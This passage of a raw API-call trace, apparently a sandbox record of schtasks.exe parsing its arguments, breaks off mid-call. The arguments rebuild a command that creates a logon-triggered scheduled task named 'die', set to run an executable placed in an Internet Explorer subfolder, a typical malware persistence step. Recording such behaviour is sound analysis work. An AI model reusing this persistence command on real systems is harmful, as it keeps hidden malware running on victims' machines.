GetProcessHeap () returned 0x3a0000 [0077.229] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bc340 [0077.229] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.229] GetProcessHeap () returned 0x3a0000 [0077.229] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x14) returned 0x3bc360 [0077.229] _vsnwprintf (in: _Buffer=0x3bc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|?|") returned 3 [0077.229] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|create|") returned 8 [0077.230] lstrlenW (lpString="|?|") returned 3 [0077.230] lstrlenW (lpString="|create|") returned 8 [0077.230] SetLastError (dwErrCode=0x490) [0077.230] lstrlenW (lpString="create") returned 6 [0077.230] lstrlenW (lpString="create") returned 6 [0077.230] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.230] GetProcessHeap () returned 0x3a0000 [0077.230] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc320) returned 1 [0077.230] GetProcessHeap () returned 0x3a0000 [0077.230] RtlReAllocateHeap (Heap=0x3a0000, Flags=0xc, Ptr=0x3bc320, Size=0x14) returned 0x3bc380 [0077.230] lstrlenW (lpString="create") returned 6 [0077.230] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.231] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|create|") returned 8 [0077.231] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|create|") returned 8 [0077.231] lstrlenW (lpString="|create|") returned 8 [0077.231] lstrlenW (lpString="|create|") returned 8 [0077.231] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0077.231] SetLastError (dwErrCode=0x0) [0077.231] SetLastError (dwErrCode=0x0) [0077.231] SetLastError (dwErrCode=0x0) [0077.231] lstrlenW (lpString="/tn") returned 3 [0077.231] lstrlenW (lpString="-/") returned 2 [0077.231] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.231] lstrlenW (lpString="?") returned 1 [0077.231] lstrlenW (lpString="?") returned 1 [0077.231] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.231] lstrlenW (lpString="tn") returned 2 [0077.231] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.231] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|?|") returned 3 [0077.231] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tn|") returned 4 [0077.231] lstrlenW (lpString="|?|") returned 3 [0077.231] lstrlenW (lpString="|tn|") returned 4 [0077.231] SetLastError (dwErrCode=0x490) [0077.231] lstrlenW (lpString="create") returned 6 [0077.231] lstrlenW (lpString="create") returned 6 [0077.231] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.231] lstrlenW (lpString="tn") returned 2 [0077.232] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.232] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|create|") returned 8 [0077.232] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tn|") returned 4 [0077.232] lstrlenW (lpString="|create|") returned 8 [0077.232] lstrlenW (lpString="|tn|") returned 4 [0077.232] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0077.232] SetLastError (dwErrCode=0x490) [0077.232] lstrlenW (lpString="delete") returned 6 [0077.232] lstrlenW (lpString="delete") returned 6 [0077.232] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.232] lstrlenW (lpString="tn") returned 2 [0077.232] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.232] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|delete|") returned 8 [0077.232] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tn|") returned 4 [0077.232] lstrlenW (lpString="|delete|") returned 8 [0077.232] lstrlenW (lpString="|tn|") returned 4 [0077.232] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0077.232] SetLastError (dwErrCode=0x490) [0077.232] lstrlenW (lpString="query") returned 5 [0077.232] lstrlenW (lpString="query") returned 5 [0077.232] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.232] lstrlenW (lpString="tn") returned 2 [0077.232] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.232] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|query|") returned 7 [0077.232] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tn|") returned 4 [0077.233] lstrlenW (lpString="|query|") returned 7 [0077.233] lstrlenW (lpString="|tn|") returned 4 [0077.233] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0077.233] SetLastError (dwErrCode=0x490) [0077.233] lstrlenW (lpString="change") returned 6 [0077.233] lstrlenW (lpString="change") returned 6 [0077.233] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.233] lstrlenW (lpString="tn") returned 2 [0077.233] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.233] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|change|") returned 8 [0077.233] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tn|") returned 4 [0077.233] lstrlenW (lpString="|change|") returned 8 [0077.233] lstrlenW (lpString="|tn|") returned 4 [0077.233] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0077.233] SetLastError (dwErrCode=0x490) [0077.233] lstrlenW (lpString="run") returned 3 [0077.233] lstrlenW (lpString="run") returned 3 [0077.233] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.233] lstrlenW (lpString="tn") returned 2 [0077.233] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.233] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|run|") returned 5 [0077.233] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tn|") returned 4 [0077.233] lstrlenW (lpString="|run|") returned 5 [0077.233] lstrlenW (lpString="|tn|") returned 4 [0077.233] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0077.234] SetLastError (dwErrCode=0x490) [0077.234] lstrlenW (lpString="end") returned 3 [0077.234] lstrlenW (lpString="end") returned 3 [0077.234] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.234] lstrlenW (lpString="tn") returned 2 [0077.234] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.234] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|end|") returned 5 [0077.234] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tn|") returned 4 [0077.234] lstrlenW (lpString="|end|") returned 5 [0077.234] lstrlenW (lpString="|tn|") returned 4 [0077.234] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0077.234] SetLastError (dwErrCode=0x490) [0077.234] lstrlenW (lpString="showsid") returned 7 [0077.234] lstrlenW (lpString="showsid") returned 7 [0077.234] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.234] GetProcessHeap () returned 0x3a0000 [0077.234] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc380) returned 1 [0077.234] GetProcessHeap () returned 0x3a0000 [0077.234] RtlReAllocateHeap (Heap=0x3a0000, Flags=0xc, Ptr=0x3bc380, Size=0x16) returned 0x3bc380 [0077.234] lstrlenW (lpString="tn") returned 2 [0077.234] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.234] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|showsid|") returned 9 [0077.234] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tn|") returned 4 [0077.235] lstrlenW (lpString="|showsid|") returned 9 [0077.235] lstrlenW (lpString="|tn|") returned 4 [0077.235] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0077.235] SetLastError (dwErrCode=0x490) [0077.235] SetLastError (dwErrCode=0x490) [0077.235] SetLastError (dwErrCode=0x0) [0077.235] lstrlenW (lpString="/tn") returned 3 [0077.235] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0077.235] SetLastError (dwErrCode=0x490) [0077.235] SetLastError (dwErrCode=0x0) [0077.235] lstrlenW (lpString="/tn") returned 3 [0077.235] GetProcessHeap () returned 0x3a0000 [0077.235] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x8) returned 0x3bc320 [0077.235] GetProcessHeap () returned 0x3a0000 [0077.235] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcd50 [0077.235] SetLastError (dwErrCode=0x0) [0077.235] SetLastError (dwErrCode=0x0) [0077.235] lstrlenW (lpString="die") returned 3 [0077.235] lstrlenW (lpString="-/") returned 2 [0077.235] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0077.235] SetLastError (dwErrCode=0x490) [0077.235] SetLastError (dwErrCode=0x490) [0077.235] SetLastError (dwErrCode=0x0) [0077.235] lstrlenW (lpString="die") returned 3 [0077.235] StrChrIW (lpStart="die", wMatch=0x3a) returned 0x0 [0077.235] SetLastError (dwErrCode=0x490) [0077.235] SetLastError (dwErrCode=0x0) [0077.235] lstrlenW (lpString="die") returned 3 [0077.235] GetProcessHeap () returned 0x3a0000 [0077.235] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x8) returned 0x3bc3b0 [0077.236] GetProcessHeap () returned 0x3a0000 [0077.236] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcd80 [0077.236] SetLastError (dwErrCode=0x0) [0077.236] SetLastError (dwErrCode=0x0) [0077.236] lstrlenW (lpString="/sc") returned 3 [0077.236] lstrlenW (lpString="-/") returned 2 [0077.236] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.236] lstrlenW (lpString="?") returned 1 [0077.236] lstrlenW (lpString="?") returned 1 [0077.236] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.236] lstrlenW (lpString="sc") returned 2 [0077.236] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.236] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|?|") returned 3 [0077.236] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|sc|") returned 4 [0077.236] lstrlenW (lpString="|?|") returned 3 [0077.236] lstrlenW (lpString="|sc|") returned 4 [0077.236] SetLastError (dwErrCode=0x490) [0077.236] lstrlenW (lpString="create") returned 6 [0077.236] lstrlenW (lpString="create") returned 6 [0077.236] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.236] lstrlenW (lpString="sc") returned 2 [0077.236] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.236] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|create|") returned 8 [0077.236] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|sc|") returned 4 [0077.236] lstrlenW (lpString="|create|") returned 8 [0077.236] lstrlenW (lpString="|sc|") returned 4 [0077.237] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0077.237] SetLastError (dwErrCode=0x490) [0077.237] lstrlenW (lpString="delete") returned 6 [0077.237] lstrlenW (lpString="delete") returned 6 [0077.237] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.237] lstrlenW (lpString="sc") returned 2 [0077.237] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.237] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|delete|") returned 8 [0077.237] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|sc|") returned 4 [0077.237] lstrlenW (lpString="|delete|") returned 8 [0077.237] lstrlenW (lpString="|sc|") returned 4 [0077.237] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0077.237] SetLastError (dwErrCode=0x490) [0077.237] lstrlenW (lpString="query") returned 5 [0077.237] lstrlenW (lpString="query") returned 5 [0077.237] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.237] lstrlenW (lpString="sc") returned 2 [0077.237] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.237] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|query|") returned 7 [0077.237] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|sc|") returned 4 [0077.237] lstrlenW (lpString="|query|") returned 7 [0077.237] lstrlenW (lpString="|sc|") returned 4 [0077.237] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0077.237] SetLastError (dwErrCode=0x490) [0077.237] lstrlenW (lpString="change") returned 6 [0077.238] lstrlenW (lpString="change") returned 6 [0077.238] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.238] lstrlenW (lpString="sc") returned 2 [0077.238] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.238] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|change|") returned 8 [0077.238] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|sc|") returned 4 [0077.238] lstrlenW (lpString="|change|") returned 8 [0077.238] lstrlenW (lpString="|sc|") returned 4 [0077.238] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0077.238] SetLastError (dwErrCode=0x490) [0077.238] lstrlenW (lpString="run") returned 3 [0077.238] lstrlenW (lpString="run") returned 3 [0077.238] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.238] lstrlenW (lpString="sc") returned 2 [0077.238] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.238] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|run|") returned 5 [0077.238] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|sc|") returned 4 [0077.238] lstrlenW (lpString="|run|") returned 5 [0077.238] lstrlenW (lpString="|sc|") returned 4 [0077.238] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0077.238] SetLastError (dwErrCode=0x490) [0077.238] lstrlenW (lpString="end") returned 3 [0077.238] lstrlenW (lpString="end") returned 3 [0077.238] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.238] lstrlenW (lpString="sc") returned 2 [0077.239] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.239] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|end|") returned 5 [0077.239] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|sc|") returned 4 [0077.239] lstrlenW (lpString="|end|") returned 5 [0077.239] lstrlenW (lpString="|sc|") returned 4 [0077.239] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0077.239] SetLastError (dwErrCode=0x490) [0077.239] lstrlenW (lpString="showsid") returned 7 [0077.239] lstrlenW (lpString="showsid") returned 7 [0077.239] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.239] lstrlenW (lpString="sc") returned 2 [0077.239] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.239] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|showsid|") returned 9 [0077.239] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|sc|") returned 4 [0077.239] lstrlenW (lpString="|showsid|") returned 9 [0077.239] lstrlenW (lpString="|sc|") returned 4 [0077.239] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0077.239] SetLastError (dwErrCode=0x490) [0077.239] SetLastError (dwErrCode=0x490) [0077.239] SetLastError (dwErrCode=0x0) [0077.239] lstrlenW (lpString="/sc") returned 3 [0077.239] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0077.239] SetLastError (dwErrCode=0x490) [0077.239] SetLastError (dwErrCode=0x0) [0077.239] lstrlenW (lpString="/sc") returned 3 [0077.239] GetProcessHeap () returned 0x3a0000 [0077.240] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x8) returned 0x3bc3d0 [0077.240] GetProcessHeap () returned 0x3a0000 [0077.240] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcdb0 [0077.240] SetLastError (dwErrCode=0x0) [0077.240] SetLastError (dwErrCode=0x0) [0077.240] lstrlenW (lpString="ONLOGON") returned 7 [0077.240] lstrlenW (lpString="-/") returned 2 [0077.240] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0077.240] SetLastError (dwErrCode=0x490) [0077.240] SetLastError (dwErrCode=0x490) [0077.240] SetLastError (dwErrCode=0x0) [0077.240] lstrlenW (lpString="ONLOGON") returned 7 [0077.240] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0077.240] SetLastError (dwErrCode=0x490) [0077.240] SetLastError (dwErrCode=0x0) [0077.240] lstrlenW (lpString="ONLOGON") returned 7 [0077.240] GetProcessHeap () returned 0x3a0000 [0077.240] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x10) returned 0x3bc3f0 [0077.240] GetProcessHeap () returned 0x3a0000 [0077.240] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcde0 [0077.240] SetLastError (dwErrCode=0x0) [0077.240] SetLastError (dwErrCode=0x0) [0077.240] lstrlenW (lpString="/tr") returned 3 [0077.240] lstrlenW (lpString="-/") returned 2 [0077.240] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.240] lstrlenW (lpString="?") returned 1 [0077.240] lstrlenW (lpString="?") returned 1 [0077.240] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.241] lstrlenW (lpString="tr") returned 2 [0077.241] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.241] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|?|") returned 3 [0077.241] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tr|") returned 4 [0077.241] lstrlenW (lpString="|?|") returned 3 [0077.241] lstrlenW (lpString="|tr|") returned 4 [0077.241] SetLastError (dwErrCode=0x490) [0077.241] lstrlenW (lpString="create") returned 6 [0077.241] lstrlenW (lpString="create") returned 6 [0077.241] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.241] lstrlenW (lpString="tr") returned 2 [0077.241] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.241] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|create|") returned 8 [0077.241] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tr|") returned 4 [0077.241] lstrlenW (lpString="|create|") returned 8 [0077.241] lstrlenW (lpString="|tr|") returned 4 [0077.241] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0077.241] SetLastError (dwErrCode=0x490) [0077.241] lstrlenW (lpString="delete") returned 6 [0077.241] lstrlenW (lpString="delete") returned 6 [0077.241] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.241] lstrlenW (lpString="tr") returned 2 [0077.241] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.241] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|delete|") returned 8 [0077.242] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tr|") returned 4 [0077.242] lstrlenW (lpString="|delete|") returned 8 [0077.242] lstrlenW (lpString="|tr|") returned 4 [0077.242] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0077.242] SetLastError (dwErrCode=0x490) [0077.242] lstrlenW (lpString="query") returned 5 [0077.242] lstrlenW (lpString="query") returned 5 [0077.242] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.242] lstrlenW (lpString="tr") returned 2 [0077.242] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.242] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|query|") returned 7 [0077.242] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tr|") returned 4 [0077.242] lstrlenW (lpString="|query|") returned 7 [0077.242] lstrlenW (lpString="|tr|") returned 4 [0077.242] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0077.242] SetLastError (dwErrCode=0x490) [0077.242] lstrlenW (lpString="change") returned 6 [0077.242] lstrlenW (lpString="change") returned 6 [0077.242] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.242] lstrlenW (lpString="tr") returned 2 [0077.242] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.242] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|change|") returned 8 [0077.242] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tr|") returned 4 [0077.242] lstrlenW (lpString="|change|") returned 8 [0077.243] lstrlenW (lpString="|tr|") returned 4 [0077.243] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0077.243] SetLastError (dwErrCode=0x490) [0077.243] lstrlenW (lpString="run") returned 3 [0077.243] lstrlenW (lpString="run") returned 3 [0077.243] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.243] lstrlenW (lpString="tr") returned 2 [0077.243] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.243] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|run|") returned 5 [0077.243] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tr|") returned 4 [0077.243] lstrlenW (lpString="|run|") returned 5 [0077.243] lstrlenW (lpString="|tr|") returned 4 [0077.243] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0077.243] SetLastError (dwErrCode=0x490) [0077.243] lstrlenW (lpString="end") returned 3 [0077.243] lstrlenW (lpString="end") returned 3 [0077.243] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.243] lstrlenW (lpString="tr") returned 2 [0077.243] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.246] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|end|") returned 5 [0077.246] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tr|") returned 4 [0077.246] lstrlenW (lpString="|end|") returned 5 [0077.246] lstrlenW (lpString="|tr|") returned 4 [0077.247] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0077.247] SetLastError (dwErrCode=0x490) [0077.247] lstrlenW (lpString="showsid") returned 7 [0077.247] lstrlenW (lpString="showsid") returned 7 [0077.247] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.247] lstrlenW (lpString="tr") returned 2 [0077.247] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.247] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|showsid|") returned 9 [0077.247] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|tr|") returned 4 [0077.247] lstrlenW (lpString="|showsid|") returned 9 [0077.247] lstrlenW (lpString="|tr|") returned 4 [0077.247] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0077.247] SetLastError (dwErrCode=0x490) [0077.247] SetLastError (dwErrCode=0x490) [0077.247] SetLastError (dwErrCode=0x0) [0077.247] lstrlenW (lpString="/tr") returned 3 [0077.247] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0077.247] SetLastError (dwErrCode=0x490) [0077.247] SetLastError (dwErrCode=0x0) [0077.247] lstrlenW (lpString="/tr") returned 3 [0077.247] GetProcessHeap () returned 0x3a0000 [0077.247] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x8) returned 0x3bc410 [0077.247] GetProcessHeap () returned 0x3a0000 [0077.247] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bce10 [0077.247] SetLastError (dwErrCode=0x0) [0077.247] SetLastError (dwErrCode=0x0) [0077.247] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.248] lstrlenW (lpString="-/") returned 2 [0077.248] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0077.248] SetLastError (dwErrCode=0x490) [0077.248] SetLastError (dwErrCode=0x490) [0077.248] SetLastError (dwErrCode=0x0) [0077.248] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.248] StrChrIW 